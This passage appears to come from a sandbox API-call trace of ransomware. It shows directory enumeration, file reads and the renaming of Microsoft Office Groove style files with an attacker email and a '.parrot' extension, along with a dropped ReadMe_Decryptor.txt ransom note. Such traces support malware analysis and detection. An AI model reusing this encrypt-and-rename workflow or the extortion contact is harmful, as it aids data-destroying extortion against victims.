Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.354] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.354] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfead8e60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfead8e60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.354] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfeab2d00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x988, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0192.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.355] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.356] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.357] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xfb0, lpOverlapped=0x0) returned 1 [0192.357] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.363] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.365] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x74b, lpOverlapped=0x0) returned 1 [0192.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.371] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.372] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x706, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x706, lpOverlapped=0x0) returned 1 [0192.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.377] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.377] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2e6230, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.377] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.377] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0192.378] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.378] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.379] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.379] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16c, lpOverlapped=0x0) returned 1 [0192.379] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.384] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.384] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.385] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.385] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16c, lpOverlapped=0x0) returned 1 [0192.385] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.391] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.391] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a9f29b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfeb25120, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfeb25120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.391] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb25120, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfeb25120, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfeb4b280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0192.392] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.392] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.393] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.393] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10d7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x10d7, lpOverlapped=0x0) returned 1 [0192.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.398] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.400] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x74a, lpOverlapped=0x0) returned 1 [0192.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.405] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.405] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.405] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.405] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.405] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0192.406] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.406] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.407] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.407] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1afa, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1afa, lpOverlapped=0x0) returned 1 [0192.408] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.414] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.414] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.415] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.415] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.415] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.456] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.457] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.457] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.458] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.458] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.463] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfebe3800, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfebe3800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.463] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfeb713e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0192.464] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.464] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.471] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11ca, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x11ca, lpOverlapped=0x0) returned 1 [0192.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.477] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 